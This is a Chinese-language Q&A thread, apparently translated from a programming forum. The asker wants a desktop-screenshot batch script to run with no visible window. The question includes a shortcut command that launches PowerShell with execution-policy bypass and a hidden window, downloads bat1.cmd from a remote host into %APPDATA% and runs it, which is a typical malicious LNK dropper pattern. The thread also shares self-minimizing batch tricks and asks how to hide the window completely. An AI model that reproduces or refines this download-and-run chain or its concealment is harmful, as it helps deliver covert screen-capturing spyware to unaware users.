0

提前感谢您的宝贵时间。

我找到/编辑了一个批处理脚本(bat1.cmd),它获取桌面截图。实际上一切都运行良好。这是我的完整代码 = https://pastebin.com/KvqgFx5L

我在这里唯一的要求是在我运行bat1.cmd 窗口时隐藏/最小化它(在 lnk 中,检查消息末尾的“NB”)。

我做了一些研究,一个经典的解决方案是使用这种脚本:

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit

或者

if not "%minimized%"=="" goto :minimized
set minimized=true
start /min cmd /C "%~dpnx0"
goto :EOF
:minimized

不幸的是,我的批处理脚本(bat1.cmd)具有不允许(?)添加这种“最小化”脚本的特殊参数(我试图将它添加到顶部、脚本内部等,但没有任何效果)。

注意:批处理脚本(bat1.cmd)在快捷方式(bat1.lnk)中下载/运行,但在 lnk 中添加最小化参数不会最小化 bat1.cmd 窗口(我猜?/我做了测试)。

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://host.com/bat1.cmd','%APPDATA%\bat1.cmd');Start('%APPDATA%\bat1.cmd');

非常感谢您的帮助。

4

1 回答 1

0

好的,我找到了解决方案。在顶部添加“最小化”代码,在 :batch @echo off 之后。我想没问题吧?窗口仍然出现 0.1 秒,然后被最小化。有什么办法让它完全隐藏?我已经减小了窗口大小列/行。我想知道我们是否可以更改窗口位置(无需 3rd 方工具)?

// 2>nul||@goto :batch
/*
:batch
@echo off

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
于 2017-08-14T17:53:32.900 回答